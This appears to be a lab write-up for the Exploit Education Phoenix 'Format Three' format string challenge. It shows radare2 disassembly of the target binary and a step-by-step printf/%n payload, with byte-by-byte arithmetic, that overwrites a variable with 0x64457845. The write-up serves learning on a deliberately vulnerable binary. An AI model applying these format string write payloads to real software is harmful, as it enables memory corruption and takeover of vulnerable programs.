Exploit Education Phoenix x86 Format Three
#Table of Contents
#Introduction
Format Three is the continuation of the format string vulnerability challenges.
#Recon
$ r2 /opt/phoenix/i486/format-three
[0x08048350]> aas
Cannot analyze at 0x080485e0
[0x08048350]> afl
0x080482d8 1 17 sym._init
0x080484a0 7 277 -> 112 sym.frame_dummy
0x080485a0 5 49 sym.__do_global_ctors_aux
0x080485d1 1 12 sym._fini
0x08048420 8 113 -> 111 sym.__do_global_dtors_aux
0x08048114 40 492 -> 577 sym..interp
0x08048350 1 62 entry0
0x08048340 1 6 sym.imp.__libc_start_main
0x080486a8 1 14 loc.__GNU_EH_FRAME_HDR
0x080486cc 3 34 sym..eh_frame
0x08048708 1 10 obj.__EH_FRAME_BEGIN
0x08048390 4 49 -> 40 sym.deregister_tm_clones
0x0804874c 1 4 obj.__FRAME_END
0x080484fc 6 155 main
0x08048310 1 6 sym.imp.puts
0x08048320 1 6 sym.imp.read
0x08048330 1 6 sym.imp.exit
0x080484e5 1 23 sym.bounce
0x08048300 1 6 sym.imp.printf
[0x08048350]> s main
[0x080484fc]> pdf
/ (fcn) main 155
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_1008h @ ebp-0x1008
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x8048384
| 0x080484fc 8d4c2404 lea ecx, [arg_4h]
| 0x08048500 83e4f0 and esp, 0xfffffff0
| 0x08048503 ff71fc push dword [ecx - 4]
| 0x08048506 55 push ebp
| 0x08048507 89e5 mov ebp, esp
| 0x08048509 51 push ecx
| 0x0804850a 81ec04100000 sub esp, 0x1004
| 0x08048510 83ec0c sub esp, 0xc
| 0x08048513 68e0850408 push str.Welcome_to_phoenix_format_three__brought_to_you_by_https:__exploit.education ; sym..rodata
| ; 0x80485e0 ; "Welcome to phoenix/format-three, brought to you by https://exploit.education"
| 0x08048518 e8f3fdffff call sym.imp.puts ; int puts(const char *s)
| 0x0804851d 83c410 add esp, 0x10
| 0x08048520 83ec04 sub esp, 4
| 0x08048523 68ff0f0000 push 0xfff
| 0x08048528 8d85f8efffff lea eax, [var_1008h]
| 0x0804852e 50 push eax
| 0x0804852f 6a00 push 0
| 0x08048531 e8eafdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x08048536 83c410 add esp, 0x10
| 0x08048539 85c0 test eax, eax
| ,=< 0x0804853b 7f0a jg 0x8048547
| | 0x0804853d 83ec0c sub esp, 0xc
| | 0x08048540 6a01 push 1 ; 1
| | 0x08048542 e8e9fdffff call sym.imp.exit ; void exit(int status)
| `-> 0x08048547 83ec0c sub esp, 0xc
| 0x0804854a 8d85f8efffff lea eax, [var_1008h]
| 0x08048550 50 push eax
| 0x08048551 e88fffffff call sym.bounce
| 0x08048556 83c410 add esp, 0x10
| 0x08048559 a144980408 mov eax, dword [obj.changeme] ; [0x8049844:4]=0
| 0x0804855e 3d45784564 cmp eax, 0x64457845
| ,=< 0x08048563 7512 jne 0x8048577
| | 0x08048565 83ec0c sub esp, 0xc
| | 0x08048568 6830860408 push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x8048630 ; "Well done, the 'changeme' variable has been changed correctly!"
| | 0x0804856d e89efdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048572 83c410 add esp, 0x10
| ,==< 0x08048575 eb16 jmp 0x804858d
| |`-> 0x08048577 a144980408 mov eax, dword [obj.changeme] ; [0x8049844:4]=0
| | 0x0804857c 83ec08 sub esp, 8
| | 0x0804857f 50 push eax
| | 0x08048580 6870860408 push str.Better_luck_next_time___got_0x_08x__wanted_0x64457845 ; 0x8048670 ; "Better luck next time - got 0x%08x, wanted 0x64457845!\n"
| | 0x08048585 e876fdffff call sym.imp.printf ; int printf(const char *format)
| | 0x0804858a 83c410 add esp, 0x10
| | ; CODE XREF from main @ 0x8048575
| `--> 0x0804858d 83ec0c sub esp, 0xc
| 0x08048590 6a00 push 0
\ 0x08048592 e899fdffff call sym.imp.exit ; void exit(int status)
[0x080484fc]> agf
[0x080484fc]> # int main (int argc, char **argv, char **envp);
.------------------------------------------------------------------------------------------.
| 0x80484fc |
| (fcn) main 155 |
| int main (int argc, char **argv, char **envp); |
| ; var int32_t var_1008h @ ebp-0x1008 |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x8048384 |
| lea ecx, [arg_4h] |
| and esp, 0xfffffff0 |
| push dword [ecx - 4] |
| push ebp |
| mov ebp, esp |
| push ecx |
| sub esp, 0x1004 |
| sub esp, 0xc |
| ; sym..rodata |
| ; 0x80485e0 |
| ; "Welcome to phoenix/format-three, brought to you by https://exploit.education" |
| push str.Welcome_to_phoenix_format_three__brought_to_you_by_https:__exploit.education |
| ; int puts(const char *s) |
| call sym.imp.puts;[oa] |
| add esp, 0x10 |
| sub esp, 4 |
| push 0xfff |
| lea eax, [var_1008h] |
| push eax |
| push 0 |
| ; ssize_t read(int fildes, void *buf, size_t nbyte) |
| call sym.imp.read;[ob] |
| add esp, 0x10 |
| test eax, eax |
| jg 0x8048547 |
`------------------------------------------------------------------------------------------'
f t
| |
| '---------------------------------------.
'-----------. |
| |
.-------------------------. .----------------------------------.
| 0x804853d | | 0x8048547 |
| sub esp, 0xc | | sub esp, 0xc |
| ; 1 | | lea eax, [var_1008h] |
| push 1 | | push eax |
| ; void exit(int status) | | call sym.bounce;[od] |
| call sym.imp.exit;[oc] | | add esp, 0x10 |
`-------------------------' | ; [0x8049844:4]=0 |
| mov eax, dword [obj.changeme] |
| cmp eax, 0x64457845 |
| jne 0x8048577 |
`----------------------------------'
f t
| |
| '---------------.
.-------------------------------------------------------------' |
| |
.---------------------------------------------------------------------------. .-------------------------------------------------------------------.
| 0x8048565 | | 0x8048577 |
| sub esp, 0xc | | ; [0x8049844:4]=0 |
| ; 0x8048630 | | mov eax, dword [obj.changeme] |
| ; "Well done, the 'changeme' variable has been changed correctly!" | | sub esp, 8 |
| push str.Well_done__the__changeme__variable_has_been_changed_correctly | | push eax |
| ; int puts(const char *s) | | ; 0x8048670 |
| call sym.imp.puts;[oa] | | ; "Better luck next time - got 0x%08x, wanted 0x64457845!\n" |
| add esp, 0x10 | | push str.Better_luck_next_time___got_0x_08x__wanted_0x64457845 |
| jmp 0x804858d | | ; int printf(const char *format) |
`---------------------------------------------------------------------------' | call sym.imp.printf;[oe] |
v | add esp, 0x10 |
| `-------------------------------------------------------------------'
| v
| |
'-----------------------------------------------------------. |
| .-----------------'
| |
.-----------------------------------.
| 0x804858d |
| ; CODE XREF from main @ 0x8048575 |
| sub esp, 0xc |
| push 0 |
| ; void exit(int status) |
| call sym.imp.exit;[oc] |
`-----------------------------------'
[0x080484fc]> pdf @ sym.bounce
/ (fcn) sym.bounce 23
| sym.bounce (int32_t arg_8h);
| ; arg int32_t arg_8h @ ebp+0x8
| ; CALL XREF from main @ 0x8048551
| 0x080484e5 55 push ebp
| 0x080484e6 89e5 mov ebp, esp
| 0x080484e8 83ec08 sub esp, 8
| 0x080484eb 83ec0c sub esp, 0xc
| 0x080484ee ff7508 push dword [arg_8h]
| 0x080484f1 e80afeffff call sym.imp.printf ; int printf(const char *format)
| 0x080484f6 83c410 add esp, 0x10
| 0x080484f9 90 nop
| 0x080484fa c9 leave
\ 0x080484fb c3 ret
The binary is almost identical with the one from the previous level. The only difference is that the value to be written to the address of the flag obj.changeme
is 0x64457845
.
#Exploit
With that in mind, the methodology to be followed takes into account the exploit from the previous level. In order to write 4 bytes, one at a time, the exploit needs to be modified a little bit.
$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%8x%n > pattern
#!/usr/bin/env rarun2
stdio=/dev/pts/0
stdin=./pattern
Replace /dev/pts/0
with the output of the command tty
and ./pattern
with the full path to the file that contains the input to be read from the binary.
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eccd4b]> aas
Cannot analyze at 0x080485e0
[0xf7eccd4b]> db 0x0804855e
[0xf7eccd4b]> px/xw @ obj.changeme
0x08049844 0x00000000 ....
[0xf7eccd4b]> dc
Welcome to phoenix/format-three, brought to you by https://exploit.education
hit breakpoint at: 804855e
[0x0804855e]> px/xw @ obj.changeme
0x08049844 0x00000059 Y...
The first time, the calculation for the byte to be written is as follows: "the byte we want to write" - "the outputted byte" + "the width that was specified to the %x specifier before the %n specifier"
.
[0x0804855e]> ? 0x45 - 0x59 + 8
int64 -12
uint64 18446744073709551604
hex 0xfffffffffffffff4
octal 01777777777777777777764
unit 16E
segment fffff000:0ff4
string "\xf4\xff\xff\xff\xff\xff\xff\xff"
fvalue: -12.0
float: nanf
double: nan
binary 0b1111111111111111111111111111111111111111111111111111111111110100
trits 0t11112220022122120101211020120210210211111
The result is a negative integer, which is not appropriate. To circumvent that, increase the value of the byte to be written by adding an ace so that the result is a positive integer.
Note that there are probably better methods that i am not aware of.
[0x0804855e]> ? 0x145 - 0x59 + 8
int32 244
uint32 244
hex 0xf4
octal 0364
unit 244
segment 0000:00f4
string "\xf4"
fvalue: 244.0
float: 0.000000f
double: 0.000000
binary 0b11110100
trits 0t100001
Now, the exploit needs to be updated.
$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%244x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7f66d4b]> aas
Cannot analyze at 0x080485e0
[0xf7f66d4b]> db 0x0804855e
[0xf7f66d4b]> px/xw @ obj.changeme
0x08049844 0x00000000 ....
[0xf7f66d4b]> dc
Welcome to phoenix/format-three, brought to you by https://exploit.education
hit breakpoint at: 804855e
[0x0804855e]> px/xw @ obj.changeme
0x08049844 0x00000145 E...
From here on, the byte to be written is calculated as follows: "the byte we want to write" - "the previous byte that was written"
.
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0x0804855e]> ? 0x78 - 0x145
int64 -205
uint64 18446744073709551411
hex 0xffffffffffffff33
octal 01777777777777777777463
unit 16E
segment fffff000:0f33
string "3\xff\xff\xff\xff\xff\xff\xff"
fvalue: -205.0
float: nanf
double: nan
binary 0b1111111111111111111111111111111111111111111111111111111100110011
trits 0t11112220022122120101211020120210210120100
[0x0804855e]> ? 0x178 - 0x145
int32 51
uint32 51
hex 0x33
octal 063
unit 51
segment 0000:0033
string "3"
fvalue: 51.0
float: 0.000000f
double: 0.000000
binary 0b00110011
trits 0t1220
Updating the exploit..
$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%244x%n%51x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eecd4b]> aas
Cannot analyze at 0x080485e0
[0xf7eecd4b]> db 0x0804855e
[0xf7eecd4b]> px/xw @ obj.changeme
0x08049844 0x00000000 ....
[0xf7eecd4b]> dc
Welcome to phoenix/format-three, brought to you by https://exploit.education
hit breakpoint at: 804855e
[0x0804855e]> px/xw @ obj.changeme
0x08049844 0x00017845 Ex..
[0x0804855e]> ? 0x45 - 0x178
int64 -307
uint64 18446744073709551309
hex 0xfffffffffffffecd
octal 01777777777777777777315
unit 16E
segment fffff000:0ecd
string "\xcd\xfe\xff\xff\xff\xff\xff\xff"
fvalue: -307.0
float: nanf
double: nan
binary 0b1111111111111111111111111111111111111111111111111111111011001101
trits 0t11112220022122120101211020120210210102120
[0x0804855e]> ? 0x1145 - 0x178
int32 4045
uint32 4045
hex 0xfcd
octal 07715
unit 4.0K
segment 0000:0fcd
string "\xcd\x0f"
fvalue: 4045.0
float: 0.000000f
double: 0.000000
binary 0b0000111111001101
trits 0t12112211
$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%244x%n%51x%n%4045x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eded4b]> aas
Cannot analyze at 0x080485e0
[0xf7eded4b]> db 0x0804855e
[0xf7eded4b]> px/xw @ obj.changeme
0x08049844 0x00000000 ....
[0xf7eded4b]> dc
Welcome to phoenix/format-three, brought to you by https://exploit.education
hit breakpoint at: 804855e
[0x0804855e]> px/xw @ obj.changeme
0x08049844 0x11457845 ExE.
[0x0804855e]> ? 0x64 - 0x1145
int64 -4321
uint64 18446744073709547295
hex 0xffffffffffffef1f
octal 01777777777777777767437
unit 16.0E
segment fffff000:0f1f
string "\x1f\xef\xff\xff\xff\xff\xff\xff"
fvalue: -4321.0
float: nanf
double: nan
binary 0b1111111111111111111111111111111111111111111111111110111100011111
trits 0t11112220022122120101211020120210120220220
[0x0804855e]> ? 0x1164 - 0x1145
int32 31
uint32 31
hex 0x1f
octal 037
unit 31
segment 0000:001f
string "\x1f"
fvalue: 31.0
float: 0.000000f
double: 0.000000
binary 0b00011111
trits 0t1011
$ echo $(printf "\x44\x98\x04\x08AAAA\x45\x98\x04\x08AAAA\x46\x98\x04\x08AAAA\x47\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%244x%n%51x%n%4045x%n%31x%n > pattern
$ /opt/phoenix/i486/format-three < pattern
Welcome to phoenix/format-three, brought to you by https://exploit.education
DAAAAEAAAAFAAAAG000f7f72cf7f7fec000ffcbc5688048556ffcbb560ffcbb560fff
Well done, the 'changeme' variable has been changed correctly!